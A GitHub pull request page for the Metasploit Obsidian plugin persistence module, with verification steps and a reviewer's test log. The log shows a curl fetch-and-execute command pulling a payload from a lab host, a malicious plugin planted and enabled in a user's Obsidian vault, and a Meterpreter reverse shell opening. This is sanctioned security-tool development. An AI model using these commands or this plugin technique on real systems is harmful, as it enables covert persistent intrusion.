Skip to content

Conversation

h00die
Copy link
Contributor

@h00die h00die commented Sep 6, 2025

Updates obsidian_plugin_persistence to the new persistence mixin. Part of #20374

Verification

  • Start msfconsole
  • exploit the box somehow (ssh_login for instance)
  • use exploit/multi/persistence/obsidian_plugin
  • set SESSION <id>
  • exploit
  • Verify persistence is created, and you get a new session if apt is run
  • Verify cleanup works
  • Document is updated and correct

Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

msf exploit(multi/persistence/obsidian_plugin) > run verbose=true 
[*] Command to run on remote host: curl -so ./kByxTrWAKymO http://192.168.168.128:8080/Q7JGOkCYlO14PhxIQeJRIQ;chmod +x ./kByxTrWAKymO;./kByxTrWAKymO&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

msf exploit(multi/persistence/obsidian_plugin) > [*] Fetch handler listening on 192.168.168.128:8080
[*] HTTP server started
[*] Adding resource /Q7JGOkCYlO14PhxIQeJRIQ
[*] Started reverse TCP handler on 192.168.168.128:4444 
[*] Using plugin name: R0FUt
[*] Target User: msutovsky
[*] Found user obsidian file: /home/msutovsky/.config/obsidian/obsidian.json
[+] Found open vault 17f73d27885732f9: /home/msutovsky/Desktop/testvault
[*] Uploading plugin to vault /home/msutovsky/Desktop/testvault
[*] Uploading: /home/msutovsky/Desktop/testvault/.obsidian/plugins/R0FUt/main.js
[*] Uploading: /home/msutovsky/Desktop/testvault/.obsidian/plugins/R0FUt/manifest.json
[*] Found 0 enabled community plugins ()
[+] Config file saved in: /home/ms/.msf4/loot/20250916145027_default_192.168.168.146_obsidian.communi_774598.txt
[*] adding R0FUt to the enabled community plugins list
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/192.168.168.146_20250916.5028/192.168.168.146_20250916.5028.rc
[*] Client 192.168.168.146 requested /Q7JGOkCYlO14PhxIQeJRIQ
[*] Sending payload to 192.168.168.146 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 192.168.168.146
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.146:39932) at 2025-09-16 14:50:36 +0200

msf exploit(multi/persistence/obsidian_plugin) > sessions 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: msutovsky
meterpreter > sysinfo
Computer     : 192.168.168.146
OS           : Ubuntu 22.04 (Linux 6.8.0-79-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

@msutovsky-r7 msutovsky-r7 added the rn-enhancement release notes enhancement label Sep 16, 2025
@msutovsky-r7 msutovsky-r7 merged commit 32aa0d8 into rapid7:master Sep 16, 2025
19 checks passed
@msutovsky-r7
Copy link
Contributor

Release Notes

This moves the obsidian_plugin_persistence into persistence category. The module now contains new expanded functionality for persistence modules.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement rn-enhancement release notes enhancement
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants